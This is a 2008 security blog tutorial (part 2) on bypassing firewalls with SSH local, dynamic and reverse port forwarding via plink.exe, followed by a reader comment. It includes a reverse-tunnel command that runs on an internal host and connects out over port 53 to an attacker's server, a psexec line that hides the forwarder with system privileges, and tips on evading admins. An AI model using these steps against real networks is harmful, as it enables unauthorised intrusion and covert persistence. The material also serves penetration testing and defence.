April 23, 2008

Bypassing firewalls with port forwarding - part 2

In part 1 , I talked about what port-forwarding is, and how we can use simple tools to do that . Then I introduced some interesting features of Metasploit and it`s Meterpreter payload to implement port-forwarding in a more advanced way , and finally how to use pivoting capabilities of Metasploit .

This time I`m going to discuss the same concept , but with using usual operating-system capabilities , among few not-hackers-specific tools like an ssh server/client .

If you remember part 1 , you saw that we used a raw meterpreter payload output ( anexecutable ) to connect a host withing internal protected network to our host in internet , and piggy back that connection to jump into firewalled network . While that feature of meterpreter looks exciting , that`s a hacker-friendly clone of a well known SSH feature with same 'port-forwarding' name . How ever , in order to use ssh in the same way as meterpreter , we should use another option as known as 'remote port forwarding' , or what we called 'reverse' port forwarding. Let`s see how these two work . Before begining , remember same A,B,C host example where :


Normal port forwarding with SSH: This is well known option . It means we use a SSH server installed on host B , to connect to host C or any other internal host . In this scenario , at least one dual-home ssh server should be there in protected network , and dual-home means B`s SSH daemon should be accessible from internet and be able to browse internal network too . Here`s how we use SSH client/servers to implement . I usually use PUTTY package as ssh client for windows . In case the only usage is port-forwarding , I use plink.exe from this package for reasons you`ll later know . I`ll follow same terminal-service example . Host C runs TS and we want host B to forward us to it :

On host A :
plink.exe {host-B} -P 22 -C -L 127.0.0.1:444:{host-C}:3389 -l username -pw password

Where:
{host-b} -P 22 is IP and port of SSH on the host located at boarder of network .
-C force compression . in most cases great performance increase , but if you only forward binary and already-compressed protocols , skip it .
-L 127.0.0.1:444:{host-C}:3389 means , we want normal port-forwarding ( -L ) . First colored part tells that start point of tunnel will be binded on 127.0.0.1 interface on our host ( A ) and listen on port 444 . So everything is sent to 127.0.0.01:444 will be forwaeded to end of tunnel . Second colored part represents end point of tunnel where our forwarded data will be sent to . Since we want to connect to terminal-service on host C , we used that . Mentioning '127.0.0.1' is optional and you can skip it , unless you wan to bind the socket to a specific interface on your system . In such case you should use IP of that interface.
-l and -pw are obvious . and the main reason we use plink.exe and not putty.exe for example , or any other common client. plink.exe accepts user/pass as a switch but other clients do not ! In cases you should launch forwarder in background or you don`t have interactive shell access , this comes pretty useful . Cause other clients requre interactive shell to enter password , unless you use cert-based authentication which have it`s own problems.

After successful negotiation , you can use same 'mstsc.exe 127.0.0.1:444' to connect to TS on host C . That`s it !

There`s another way to do normal port-forwarding with SSH too , and that`s Dynamic forwarding . Dynamic port-forwarding is nothing but a SOCKS v4 over SSH session . It means you use SSH server as SOCKS server to browse internal network hosts . This is pretty useful while you simply want to browse web-pages hosted there . of course socks-enabled programs can be used with this too . Here`s how to start it :

plink.exe {host-B} -P 22 -C -D 8888 -l username -pw password

-D starts the Dynamic port forwarding feature , AKA SOCKS . Above will make your ssh client a simple socks server which listen to port 8888 for incoming connections . Nothing complex to explain .
To learn more about ssh port forwarding , you can read this .

Remote port forwarding : This is the more cool feature , or what we`re going to actually use . Since it`s not usually possible to find a open ssh server on target network ( unless it`s lame target) normal forwarding would not be a possible scenario . Here`s where 'remote' port-forwarding comes handy . I`m not going to re-document this feature of ssh , you can ask Google for details . But I`ll just briefly explain how it should be used for our case , among few important notes and tricks.
In remote port-forwarding , the start point of tunnel will be on ssh-server , rather than own client , and the end of tunnel will be the host running ssh-client . In other words , In this scenario , host B runs the ssh-client and connect to a ssh-server outside of protected network . Then a port will be opened on ssh-server and anything sent to ssh-server on that port , will be forwarded to specified destination ( host C in our case ) .
Noticed the difference ? yes, this way attacker does not need to be able to ssh to any host in protected network . No ssh-server in protected network is even necessary . All we have to be able to execute inside protected network , is a ssh-client , plink.exe for example . Let`s try it :

Assuming that
  • We have a ssh-server under our control , running on our own host {host-A} or any server in internet
  • ssh server is configured to allow 'remote port forwarding' . This is the case only for OpenSSH running on *nix .
  • We have prepared a account which is permitted for doing 'remote' port forwarding. Usually only high privileged users (root) have this .
  • At least one host ( host B ) in protected network , have at least one open port in ACL of firewall to be able to connect to servers outside of network . Wise admins usually block all outgoing connections , so 53 maybe your lucky number again .
  • SSH server is listening on same port as above . So if only 53/tcp is allowed for outgoing , our ssh-server should be listening on same port .
We`ll run below command on host B :

plink.exe {host-A} -P 53 -C -R 127.0.0.1:444:{host-C}:3389 -l username -pw password

-R 127.0.0.1:444:{host-C}:3389 is the switch start remote forwarding where first colored part specifies start point of tunnel , and second colored part represents end point of tunnel . If you want to connect to tunnel entry point ( port 444 ) on same host as ssh-server , you can again skip 127.0.0.1:444 and use '-R 444:{host-C}:3389' . If ssh-server is running another host , say a zombie host , you should exactly specify IP address of interface you want to bind socket to . So if ssh-server is running on 1.2.3.4 , you should use '-R 1.2.3.4:444:{host-C}:3389' .
Another important note is that , by default ssh-server accepts connections to remote forwarded port ( 444 ) only from localhost ! So check configuration of your client/server on how to config that in correct way . In putty.exe this should be specified with a check mark as below . RTFM for how to do this on your favorite ssh client .


With above option allowed , now you can remotely connect to ssh-server on port 444 and get redirected to internal network and host C on port 3390 . Without that option , it would be possible to connect to port 444 only from the same host as ssh-server .That`s it ! Welcome to internal network .

Few other tips :
It`s not necessary to have a dedicated server for lunching ssh-server . If you`re running linux , all you have to do is to configure and start sshd . If you`re running windows, you can get a copy of Bitvise WinSSHD and setup it .
Since you`re leacing user/pass of your ssh-server on targeted host , be warned that you`re leaking a high privilege account there ! So , disable shell for that specific account so if a smart admin tried to back trace you , he won`t be able to instantly own your box . I`ve seen this really happened ! Changing password of that account after each connection is another solution BESIDE this.
To run the forwarder ( ssh client , plink.exe for example ) running in background , you can use PsEXEC to execute it hidden in background and with system privileges so it`s not killed by user :

psexec.exe -s -d plink.exe "plink parameters here"

Before closing this port , I`ve to mention that I updated part-1 with few lines mentioning two tools related to topic. Don`t miss them .

3 comments:

  1. Read several articles about port forwarding but this is the best one regarding the difference between -L and -R scenarios.
    Great work!

    Btw, jealous about living in Sweden! :) Hej da

    ReplyDelete